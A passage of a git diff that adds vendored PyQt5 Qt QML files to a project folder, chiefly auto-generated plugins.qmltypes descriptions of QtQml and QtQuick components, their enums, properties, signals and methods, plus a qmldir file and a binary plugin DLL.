2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "Type" + values: [ + "Linear", + "InQuad", + "OutQuad", + "InOutQuad", + "OutInQuad", + "InCubic", + "OutCubic", + "InOutCubic", + "OutInCubic", + "InQuart", + "OutQuart", + "InOutQuart", + "OutInQuart", + "InQuint", + "OutQuint", + "InOutQuint", + "OutInQuint", + "InSine", + "OutSine", + "InOutSine", + "OutInSine", + "InExpo", + "OutExpo", + "InOutExpo", + "OutInExpo", + "InCirc", + "OutCirc", + "InOutCirc", + "OutInCirc", + "InElastic", + "OutElastic", + "InOutElastic", + "OutInElastic", + "InBack", + "OutBack", + "InOutBack", + "OutInBack", + "InBounce", + "OutBounce", + "InOutBounce", + "OutInBounce", + "InCurve", + "OutCurve", + "SineCurve", + "CosineCurve", + "Bezier" + ] + } + Property { name: "type"; type: "QQmlEasingValueType::Type" } + Property { name: "amplitude"; type: "double" } + Property { name: "overshoot"; type: "double" } + Property { name: "period"; type: "double" } + Property { name: "bezierCurve"; type: "QVariantList" } + } + Component { + file: "private/qqmllocale_p.h" + name: "QQmlLocale" + exports: ["QtQml/Locale 2.2"] + isCreatable: false + exportMetaObjectRevisions: [2] + Enum { + name: "MeasurementSystem" + values: [ + "MetricSystem", + "ImperialSystem", + "ImperialUSSystem", + "ImperialUKSystem" + ] + } + Enum { + name: "FormatType" + values: ["LongFormat", "ShortFormat", "NarrowFormat"] + } + Enum { + name: "CurrencySymbolFormat" + values: [ + "CurrencyIsoCode", + "CurrencySymbol", + "CurrencyDisplayName" + ] + } + Enum { + name: "DayOfWeek" + values: [ + "Sunday", + "Monday", + "Tuesday", + "Wednesday", + "Thursday", + "Friday", + "Saturday" + ] + } + Enum { + name: "NumberOptions" + values: [ + "DefaultNumberOptions", + "OmitGroupSeparator", + "RejectGroupSeparator", + "OmitLeadingZeroInExponent", + "RejectLeadingZeroInExponent", + "IncludeTrailingZeroesAfterDot", + "RejectTrailingZeroesAfterDot" + ] + } + } + Component { + file: "private/qqmlloggingcategory_p.h" + name: "QQmlLoggingCategory" + prototype: "QObject" + exports: ["QtQml/LoggingCategory 2.12", "QtQml/LoggingCategory 2.8"] + exportMetaObjectRevisions: [12, 8] + Enum { + name: "DefaultLogLevel" + values: ["Debug", "Info", "Warning", "Critical", "Fatal"] + } + Property { name: "name"; type: "string" } + Property { name: "defaultLogLevel"; revision: 12; type: "DefaultLogLevel" } + } + Component { + file: "private/qqmltimer_p.h" + name: "QQmlTimer" + prototype: "QObject" + exports: ["QtQml/Timer 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "interval"; type: "int" } + Property { name: "running"; type: "bool" } + Property { name: "repeat"; type: "bool" } + Property { name: "triggeredOnStart"; type: "bool" } + Property { name: "parent"; type: "QObject"; isReadonly: true; isPointer: true } + Signal { name: "triggered" } + Method { name: "start" } + Method { name: "stop" } + Method { name: "restart" } + Method { name: "ticked" } + } + Component { + file: "private/qqmltypenotavailable_p.h" + name: "QQmlTypeNotAvailable" + prototype: "QObject" + exports: ["QtQml/TypeNotAvailable 2.15"] + isCreatable: false + exportMetaObjectRevisions: [15] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmldir new file mode 100644 index 00000000..98555ee1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmldir @@ -0,0 +1,6 @@ +module QtQml +plugin qmlplugin +classname QtQmlPlugin +depends QtQml.Models 2.15 +depends QtQml.WorkerScript 2.15 +typeinfo plugins.qmltypes diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmlplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmlplugin.dll new file mode 100644 index 00000000..672a5210 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQml/qmlplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/plugins.qmltypes new file mode 100644 index 00000000..9ca13f76 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick.2/plugins.qmltypes @@ -0,0 +1,5294 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by qmltyperegistrar. + +Module { + dependencies: [] + Component { + name: "QDoubleValidator" + prototype: "QValidator" + Enum { + name: "Notation" + values: ["StandardNotation", "ScientificNotation"] + } + Property { name: "bottom"; type: "double" } + Property { name: "top"; type: "double" } + Property { name: "decimals"; type: "int" } + Property { name: "notation"; type: "Notation" } + Signal { + name: "bottomChanged" + Parameter { name: "bottom"; type: "double" } + } + Signal { + name: "topChanged" + Parameter { name: "top"; type: "double" } + } + Signal { + name: "decimalsChanged" + Parameter { name: "decimals"; type: "int" } + } + Signal { + name: "notationChanged" + Parameter { name: "notation"; type: "QDoubleValidator::Notation" } + } + } + Component { + file: "private/qquickforeignutils_p.h" + name: "QInputMethod" + prototype: "QObject" + exports: ["QtQuick/InputMethod 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "Action" + values: ["Click", "ContextMenu"] + } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "anchorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "keyboardRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "inputItemClipRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "visible"; type: "bool"; isReadonly: true } + Property { name: "animating"; type: "bool"; isReadonly: true } + Property { name: "locale"; type: "QLocale"; isReadonly: true } + Property { name: "inputDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + Signal { + name: "inputDirectionChanged" + Parameter { name: "newDirection"; type: "Qt::LayoutDirection" } + } + Method { name: "show" } + Method { name: "hide" } + Method { + name: "update" + Parameter { name: "queries"; type: "Qt::InputMethodQueries" } + } + Method { name: "reset" } + Method { name: "commit" } + Method { + name: "invokeAction" + Parameter { name: "a"; type: "Action" } + Parameter { name: "cursorPosition"; type: "int" } + } + } + Component { + name: "QIntValidator" + prototype: "QValidator" + Property { name: "bottom"; type: "int" } + Property { name: "top"; type: "int" } + Signal { + name: "bottomChanged" + Parameter { name: "bottom"; type: "int" } + } + Signal { + name: "topChanged" + Parameter { name: "top"; type: "int" } + } + } + Component { + file: "private/qquickforeignutils_p.h" + name: "QKeySequence" + exports: ["QtQuick/StandardKey 2.2"] + isCreatable: false + exportMetaObjectRevisions: [2] + Enum { + name: "StandardKey" + values: [ + "UnknownKey", + "HelpContents", + "WhatsThis", + "Open", + "Close", + "Save", + "New", + "Delete", + "Cut", + "Copy", + "Paste", + "Undo", + "Redo", + "Back", + "Forward", + "Refresh", + "ZoomIn", + "ZoomOut", + "Print", + "AddTab", + "NextChild", + "PreviousChild", + "Find", + "FindNext", + "FindPrevious", + "Replace", + "SelectAll", + "Bold", + "Italic", + "Underline", + "MoveToNextChar", + "MoveToPreviousChar", + "MoveToNextWord", + "MoveToPreviousWord", + "MoveToNextLine", + "MoveToPreviousLine", + "MoveToNextPage", + "MoveToPreviousPage", + "MoveToStartOfLine", + "MoveToEndOfLine", + "MoveToStartOfBlock", + "MoveToEndOfBlock", + "MoveToStartOfDocument", + "MoveToEndOfDocument", + "SelectNextChar", + "SelectPreviousChar", + "SelectNextWord", + "SelectPreviousWord", + "SelectNextLine", + "SelectPreviousLine", + "SelectNextPage", + "SelectPreviousPage", + "SelectStartOfLine", + "SelectEndOfLine", + "SelectStartOfBlock", + "SelectEndOfBlock", + "SelectStartOfDocument", + "SelectEndOfDocument", + "DeleteStartOfWord", + "DeleteEndOfWord", + "DeleteEndOfLine", + "InsertParagraphSeparator", + "InsertLineSeparator", + "SaveAs", + "Preferences", + "Quit", + "FullScreen", + "Deselect", + "DeleteCompleteLine", + "Backspace", + "Cancel" + ] + } + } + Component { + file: "private/qquickitemsmodule_p.h" + name: "QPointingDeviceUniqueId" + exports: ["QtQuick/PointingDeviceUniqueId 2.9"] + isCreatable: false + exportMetaObjectRevisions: [9] + Property { name: "numericId"; type: "qlonglong"; isReadonly: true } + } + Component { + name: "QQmlApplication" + prototype: "QObject" + Property { name: "arguments"; type: "QStringList"; isReadonly: true } + Property { name: "name"; type: "string" } + Property { name: "version"; type: "string" } + Property { name: "organization"; type: "string" } + Property { name: "domain"; type: "string" } + Signal { name: "aboutToQuit" } + Method { + name: "setName" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setVersion" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setOrganization" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setDomain" + Parameter { name: "arg"; type: "string" } + } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickAbstractAnimation" + prototype: "QObject" + exports: ["QtQuick/Animation 2.0", "QtQuick/Animation 2.12"] + isCreatable: false + exportMetaObjectRevisions: [0, 12] + Enum { + name: "Loops" + values: ["Infinite"] + } + Property { name: "running"; type: "bool" } + Property { name: "paused"; type: "bool" } + Property { name: "alwaysRunToEnd"; type: "bool" } + Property { name: "loops"; type: "int" } + Signal { name: "started" } + Signal { name: "stopped" } + Signal { + name: "runningChanged" + Parameter { type: "bool" } + } + Signal { + name: "pausedChanged" + Parameter { type: "bool" } + } + Signal { + name: "alwaysRunToEndChanged" + Parameter { type: "bool" } + } + Signal { + name: "loopCountChanged" + Parameter { type: "int" } + } + Signal { name: "finished"; revision: 12 } + Method { name: "restart" } + Method { name: "start" } + Method { name: "pause" } + Method { name: "resume" } + Method { name: "stop" } + Method { name: "complete" } + Method { name: "componentFinalized" } + } + Component { + file: "private/qquickaccessibleattached_p.h" + name: "QQuickAccessibleAttached" + prototype: "QObject" + exports: ["QtQuick/Accessible 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickAccessibleAttached" + Property { name: "role"; type: "QAccessible::Role" } + Property { name: "name"; type: "string" } + Property { name: "description"; type: "string" } + Property { name: "ignored"; type: "bool" } + Property { name: "checkable"; type: "bool" } + Property { name: "checked"; type: "bool" } + Property { name: "editable"; type: "bool" } + Property { name: "focusable"; type: "bool" } + Property { name: "focused"; type: "bool" } + Property { name: "multiLine"; type: "bool" } + Property { name: "readOnly"; type: "bool" } + Property { name: "selected"; type: "bool" } + Property { name: "selectable"; type: "bool" } + Property { name: "pressed"; type: "bool" } + Property { name: "checkStateMixed"; type: "bool" } + Property { name: "defaultButton"; type: "bool" } + Property { name: "passwordEdit"; type: "bool" } + Property { name: "selectableText"; type: "bool" } + Property { name: "searchEdit"; type: "bool" } + Signal { + name: "checkableChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "checkedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "editableChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "focusableChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "focusedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "multiLineChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "readOnlyChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "selectedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "selectableChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "pressedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "checkStateMixedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "defaultButtonChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "passwordEditChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "selectableTextChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "searchEditChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { name: "pressAction" } + Signal { name: "toggleAction" } + Signal { name: "increaseAction" } + Signal { name: "decreaseAction" } + Signal { name: "scrollUpAction" } + Signal { name: "scrollDownAction" } + Signal { name: "scrollLeftAction" } + Signal { name: "scrollRightAction" } + Signal { name: "previousPageAction" } + Signal { name: "nextPageAction" } + Method { name: "valueChanged" } + Method { name: "cursorPositionChanged" } + Method { + name: "setIgnored" + Parameter { name: "ignored"; type: "bool" } + } + } + Component { + file: "private/qquickitemanimation_p.h" + name: "QQuickAnchorAnimation" + prototype: "QQuickAbstractAnimation" + exports: [ + "QtQuick/AnchorAnimation 2.0", + "QtQuick/AnchorAnimation 2.12" + ] + exportMetaObjectRevisions: [0, 12] + Property { name: "targets"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "duration"; type: "int" } + Property { name: "easing"; type: "QEasingCurve" } + Signal { + name: "durationChanged" + Parameter { type: "int" } + } + Signal { + name: "easingChanged" + Parameter { type: "QEasingCurve" } + } + } + Component { + file: "private/qquickstateoperations_p.h" + name: "QQuickAnchorChanges" + prototype: "QQuickStateOperation" + exports: ["QtQuick/AnchorChanges 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "anchors"; type: "QQuickAnchorSet"; isReadonly: true; isPointer: true } + } + Component { + file: "private/qquickstateoperations_p.h" + name: "QQuickAnchorSet" + prototype: "QObject" + Property { name: "left"; type: "QQmlScriptString" } + Property { name: "right"; type: "QQmlScriptString" } + Property { name: "horizontalCenter"; type: "QQmlScriptString" } + Property { name: "top"; type: "QQmlScriptString" } + Property { name: "bottom"; type: "QQmlScriptString" } + Property { name: "verticalCenter"; type: "QQmlScriptString" } + Property { name: "baseline"; type: "QQmlScriptString" } + } + Component { + file: "private/qquickanchors_p.h" + name: "QQuickAnchors" + prototype: "QObject" + Enum { + name: "Anchors" + alias: "Anchor" + isFlag: true + values: [ + "InvalidAnchor", + "LeftAnchor", + "RightAnchor", + "TopAnchor", + "BottomAnchor", + "HCenterAnchor", + "VCenterAnchor", + "BaselineAnchor", + "Horizontal_Mask", + "Vertical_Mask" + ] + } + Property { name: "left"; type: "QQuickAnchorLine" } + Property { name: "right"; type: "QQuickAnchorLine" } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine" } + Property { name: "top"; type: "QQuickAnchorLine" } + Property { name: "bottom"; type: "QQuickAnchorLine" } + Property { name: "verticalCenter"; type: "QQuickAnchorLine" } + Property { name: "baseline"; type: "QQuickAnchorLine" } + Property { name: "margins"; type: "double" } + Property { name: "leftMargin"; type: "double" } + Property { name: "rightMargin"; type: "double" } + Property { name: "horizontalCenterOffset"; type: "double" } + Property { name: "topMargin"; type: "double" } + Property { name: "bottomMargin"; type: "double" } + Property { name: "verticalCenterOffset"; type: "double" } + Property { name: "baselineOffset"; type: "double" } + Property { name: "fill"; type: "QQuickItem"; isPointer: true } + Property { name: "centerIn"; type: "QQuickItem"; isPointer: true } + Property { name: "alignWhenCentered"; type: "bool" } + Signal { name: "centerAlignedChanged" } + } + Component { + file: "private/qquickanimatedimage_p.h" + name: "QQuickAnimatedImage" + prototype: "QQuickImage" + exports: [ + "QtQuick/AnimatedImage 2.0", + "QtQuick/AnimatedImage 2.1", + "QtQuick/AnimatedImage 2.11", + "QtQuick/AnimatedImage 2.14", + "QtQuick/AnimatedImage 2.15", + "QtQuick/AnimatedImage 2.3", + "QtQuick/AnimatedImage 2.4", + "QtQuick/AnimatedImage 2.5", + "QtQuick/AnimatedImage 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 14, 15, 3, 4, 5, 7] + Property { name: "playing"; type: "bool" } + Property { name: "paused"; type: "bool" } + Property { name: "currentFrame"; type: "int" } + Property { name: "frameCount"; type: "int"; isReadonly: true } + Property { name: "speed"; revision: 11; type: "double" } + Property { name: "sourceSize"; type: "QSize"; isReadonly: true } + Signal { name: "frameChanged" } + Signal { name: "currentFrameChanged" } + Signal { name: "speedChanged"; revision: 11 } + Method { name: "movieUpdate" } + Method { name: "movieRequestFinished" } + Method { name: "playingStatusChanged" } + Method { name: "onCacheChanged" } + } + Component { + file: "private/qquickanimatedsprite_p.h" + name: "QQuickAnimatedSprite" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/AnimatedSprite 2.0", + "QtQuick/AnimatedSprite 2.1", + "QtQuick/AnimatedSprite 2.11", + "QtQuick/AnimatedSprite 2.12", + "QtQuick/AnimatedSprite 2.15", + "QtQuick/AnimatedSprite 2.4", + "QtQuick/AnimatedSprite 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 12, 15, 4, 7] + Enum { + name: "LoopParameters" + values: ["Infinite"] + } + Enum { + name: "FinishBehavior" + values: ["FinishAtInitialFrame", "FinishAtFinalFrame"] + } + Property { name: "running"; type: "bool" } + Property { name: "interpolate"; type: "bool" } + Property { name: "source"; type: "QUrl" } + Property { name: "reverse"; type: "bool" } + Property { name: "frameSync"; type: "bool" } + Property { name: "frameCount"; type: "int" } + Property { name: "frameHeight"; type: "int" } + Property { name: "frameWidth"; type: "int" } + Property { name: "frameX"; type: "int" } + Property { name: "frameY"; type: "int" } + Property { name: "frameRate"; type: "double" } + Property { name: "frameDuration"; type: "int" } + Property { name: "loops"; type: "int" } + Property { name: "paused"; type: "bool" } + Property { name: "currentFrame"; type: "int" } + Property { name: "finishBehavior"; revision: 15; type: "FinishBehavior" } + Signal { + name: "pausedChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "runningChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "interpolateChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "sourceChanged" + Parameter { name: "arg"; type: "QUrl" } + } + Signal { + name: "reverseChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "frameSyncChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "frameCountChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameXChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameYChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameRateChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "frameDurationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "loopsChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "currentFrameChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "finishBehaviorChanged" + revision: 15 + Parameter { name: "arg"; type: "FinishBehavior" } + } + Signal { name: "finished"; revision: 12 } + Method { name: "start" } + Method { name: "stop" } + Method { name: "restart" } + Method { + name: "advance" + Parameter { name: "frames"; type: "int" } + } + Method { name: "advance" } + Method { name: "pause" } + Method { name: "resume" } + Method { + name: "setRunning" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setPaused" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setInterpolate" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setSource" + Parameter { name: "arg"; type: "QUrl" } + } + Method { + name: "setReverse" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setFrameSync" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setFrameCount" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameHeight" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameRate" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setFrameDuration" + Parameter { name: "arg"; type: "int" } + } + Method { name: "resetFrameRate" } + Method { name: "resetFrameDuration" } + Method { + name: "setLoops" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setCurrentFrame" + Parameter { name: "arg"; type: "int" } + } + Method { name: "createEngine" } + Method { name: "reset" } + } + Component { + file: "private/qquickanimationcontroller_p.h" + name: "QQuickAnimationController" + defaultProperty: "animation" + prototype: "QObject" + exports: ["QtQuick/AnimationController 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "progress"; type: "double" } + Property { name: "animation"; type: "QQuickAbstractAnimation"; isPointer: true } + Method { name: "reload" } + Method { name: "completeToBeginning" } + Method { name: "completeToEnd" } + Method { name: "componentFinalized" } + Method { name: "updateProgress" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickAnimationGroup" + defaultProperty: "animations" + prototype: "QQuickAbstractAnimation" + Property { name: "animations"; type: "QQuickAbstractAnimation"; isList: true; isReadonly: true } + } + Component { + file: "private/qquickanimator_p.h" + name: "QQuickAnimator" + prototype: "QQuickAbstractAnimation" + exports: ["QtQuick/Animator 2.12", "QtQuick/Animator 2.2"] + isCreatable: false + exportMetaObjectRevisions: [12, 2] + Property { name: "target"; type: "QQuickItem"; isPointer: true } + Property { name: "easing"; type: "QEasingCurve" } + Property { name: "duration"; type: "int" } + Property { name: "to"; type: "double" } + Property { name: "from"; type: "double" } + Signal { + name: "targetItemChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "durationChanged" + Parameter { name: "duration"; type: "int" } + } + Signal { + name: "easingChanged" + Parameter { name: "curve"; type: "QEasingCurve" } + } + Signal { + name: "toChanged" + Parameter { name: "to"; type: "double" } + } + Signal { + name: "fromChanged" + Parameter { name: "from"; type: "double" } + } + } + Component { + file: "private/qquickapplication_p.h" + name: "QQuickApplication" + prototype: "QQmlApplication" + exports: ["QtQuick/Application 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "active"; type: "bool"; isReadonly: true } + Property { name: "layoutDirection"; type: "Qt::LayoutDirection"; isReadonly: true } + Property { name: "supportsMultipleWindows"; type: "bool"; isReadonly: true } + Property { name: "state"; type: "Qt::ApplicationState"; isReadonly: true } + Property { name: "font"; type: "QFont"; isReadonly: true } + Property { name: "displayName"; type: "string" } + Property { name: "screens"; type: "QQuickScreenInfo"; isList: true; isReadonly: true } + Signal { + name: "stateChanged" + Parameter { name: "state"; type: "Qt::ApplicationState" } + } + Method { name: "updateScreens" } + } + Component { + file: "private/qquickpositioners_p.h" + name: "QQuickBasePositioner" + prototype: "QQuickImplicitSizeItem" + exports: [ + "QtQuick/Positioner 2.0", + "QtQuick/Positioner 2.1", + "QtQuick/Positioner 2.11", + "QtQuick/Positioner 2.4", + "QtQuick/Positioner 2.6", + "QtQuick/Positioner 2.7", + "QtQuick/Positioner 2.9" + ] + isCreatable: false + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + attachedType: "QQuickPositionerAttached" + Property { name: "spacing"; type: "double" } + Property { name: "populate"; type: "QQuickTransition"; isPointer: true } + Property { name: "move"; type: "QQuickTransition"; isPointer: true } + Property { name: "add"; type: "QQuickTransition"; isPointer: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { name: "positioningComplete"; revision: 9 } + Method { name: "prePositioning" } + Method { name: "forceLayout"; revision: 9 } + } + Component { + file: "private/qquickbehavior_p.h" + name: "QQuickBehavior" + defaultProperty: "animation" + prototype: "QObject" + exports: [ + "QtQuick/Behavior 2.0", + "QtQuick/Behavior 2.13", + "QtQuick/Behavior 2.15" + ] + exportMetaObjectRevisions: [0, 13, 15] + Property { name: "animation"; type: "QQuickAbstractAnimation"; isPointer: true } + Property { name: "enabled"; type: "bool" } + Property { name: "targetValue"; revision: 13; type: "QVariant"; isReadonly: true } + Property { name: "targetProperty"; revision: 15; type: "QQmlProperty"; isReadonly: true } + Method { name: "componentFinalized" } + } + Component { + file: "private/qquickborderimage_p.h" + name: "QQuickBorderImage" + prototype: "QQuickImageBase" + exports: [ + "QtQuick/BorderImage 2.0", + "QtQuick/BorderImage 2.1", + "QtQuick/BorderImage 2.11", + "QtQuick/BorderImage 2.14", + "QtQuick/BorderImage 2.15", + "QtQuick/BorderImage 2.4", + "QtQuick/BorderImage 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 14, 15, 4, 7] + Enum { + name: "TileMode" + values: ["Stretch", "Repeat", "Round"] + } + Property { name: "border"; type: "QQuickScaleGrid"; isReadonly: true; isPointer: true } + Property { name: "horizontalTileMode"; type: "TileMode" } + Property { name: "verticalTileMode"; type: "TileMode" } + Property { name: "sourceSize"; type: "QSize"; isReadonly: true } + Method { name: "doUpdate" } + Method { name: "requestFinished" } + Method { name: "sciRequestFinished" } + } + Component { + file: "private/qquickshadereffectmesh_p.h" + name: "QQuickBorderImageMesh" + prototype: "QQuickShaderEffectMesh" + exports: ["QtQuick/BorderImageMesh 2.8"] + exportMetaObjectRevisions: [8] + Enum { + name: "TileMode" + values: ["Stretch", "Repeat", "Round"] + } + Property { name: "border"; type: "QQuickScaleGrid"; isReadonly: true; isPointer: true } + Property { name: "size"; type: "QSize" } + Property { name: "horizontalTileMode"; type: "TileMode" } + Property { name: "verticalTileMode"; type: "TileMode" } + } + Component { + file: "private/qquickcanvasitem_p.h" + name: "QQuickCanvasItem" + defaultProperty: "data" + prototype: "QQuickItem" + exports: [ + "QtQuick/Canvas 2.0", + "QtQuick/Canvas 2.1", + "QtQuick/Canvas 2.11", + "QtQuick/Canvas 2.4", + "QtQuick/Canvas 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Enum { + name: "RenderTarget" + values: ["Image", "FramebufferObject"] + } + Enum { + name: "RenderStrategy" + values: ["Immediate", "Threaded", "Cooperative"] + } + Property { name: "available"; type: "bool"; isReadonly: true } + Property { name: "contextType"; type: "string" } + Property { name: "context"; type: "QJSValue"; isReadonly: true } + Property { name: "canvasSize"; type: "QSizeF" } + Property { name: "tileSize"; type: "QSize" } + Property { name: "canvasWindow"; type: "QRectF" } + Property { name: "renderTarget"; type: "RenderTarget" } + Property { name: "renderStrategy"; type: "RenderStrategy" } + Signal { + name: "paint" + Parameter { name: "region"; type: "QRect" } + } + Signal { name: "painted" } + Signal { name: "imageLoaded" } + Method { + name: "loadImage" + Parameter { name: "url"; type: "QUrl" } + } + Method { + name: "unloadImage" + Parameter { name: "url"; type: "QUrl" } + } + Method { + name: "isImageLoaded" + type: "bool" + Parameter { name: "url"; type: "QUrl" } + } + Method { + name: "isImageLoading" + type: "bool" + Parameter { name: "url"; type: "QUrl" } + } + Method { + name: "isImageError" + type: "bool" + Parameter { name: "url"; type: "QUrl" } + } + Method { name: "sceneGraphInitialized" } + Method { name: "checkAnimationCallbacks" } + Method { name: "invalidateSceneGraph" } + Method { name: "schedulePolish" } + Method { + name: "getContext" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "requestAnimationFrame" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "cancelRequestAnimationFrame" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { name: "requestPaint" } + Method { + name: "markDirty" + Parameter { name: "dirtyRect"; type: "QRectF" } + } + Method { name: "markDirty" } + Method { + name: "save" + type: "bool" + Parameter { name: "filename"; type: "string" } + } + Method { + name: "toDataURL" + type: "string" + Parameter { name: "type"; type: "string" } + } + Method { name: "toDataURL"; type: "string" } + Method { name: "delayedCreate" } + } + Component { + file: "private/qquickevents_p_p.h" + name: "QQuickCloseEvent" + prototype: "QObject" + Property { name: "accepted"; type: "bool" } + } + Component { + file: "private/qquickanimation_p.h" + name: "QQuickColorAnimation" + prototype: "QQuickPropertyAnimation" + exports: ["QtQuick/ColorAnimation 2.0", "QtQuick/ColorAnimation 2.12"] + exportMetaObjectRevisions: [0, 12] + Property { name: "from"; type: "QColor" } + Property { name: "to"; type: "QColor" } + } + Component { + file: "private/qquickvaluetypes_p.h" + name: "QQuickColorSpaceValueType" + exports: ["QtQuick/ColorSpace 2.15"] + isCreatable: false + exportMetaObjectRevisions: [15] + Enum { + name: "NamedColorSpace" + values: [ + "Unknown", + "SRgb", + "SRgbLinear", + "AdobeRgb", + "DisplayP3", + "ProPhotoRgb" + ] + } + Enum { + name: "Primaries" + values: ["Custom", "SRgb", "AdobeRgb", "DciP3D65", "ProPhotoRgb"] + } + Enum { + name: "TransferFunction" + values: ["Custom", "Linear", "Gamma", "SRgb", "ProPhotoRgb"] + } + Property { name: "namedColorSpace"; type: "NamedColorSpace" } + Property { name: "primaries"; type: "Primaries" } + Property { name: "transferFunction"; type: "TransferFunction" } + Property { name: "gamma"; type: "float" } + } + Component { + file: "private/qquickpositioners_p.h" + name: "QQuickColumn" + prototype: "QQuickBasePositioner" + exports: [ + "QtQuick/Column 2.0", + "QtQuick/Column 2.1", + "QtQuick/Column 2.11", + "QtQuick/Column 2.4", + "QtQuick/Column 2.6", + "QtQuick/Column 2.7", + "QtQuick/Column 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 6, 7, 9] + } + Component { + file: "private/qquickpath_p.h" + name: "QQuickCurve" + prototype: "QQuickPathElement" + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "relativeX"; type: "double" } + Property { name: "relativeY"; type: "double" } + } + Component { + file: "private/qquickvalidator_p.h" + name: "QQuickDoubleValidator" + prototype: "QDoubleValidator" + exports: ["QtQuick/DoubleValidator 2.0"] + 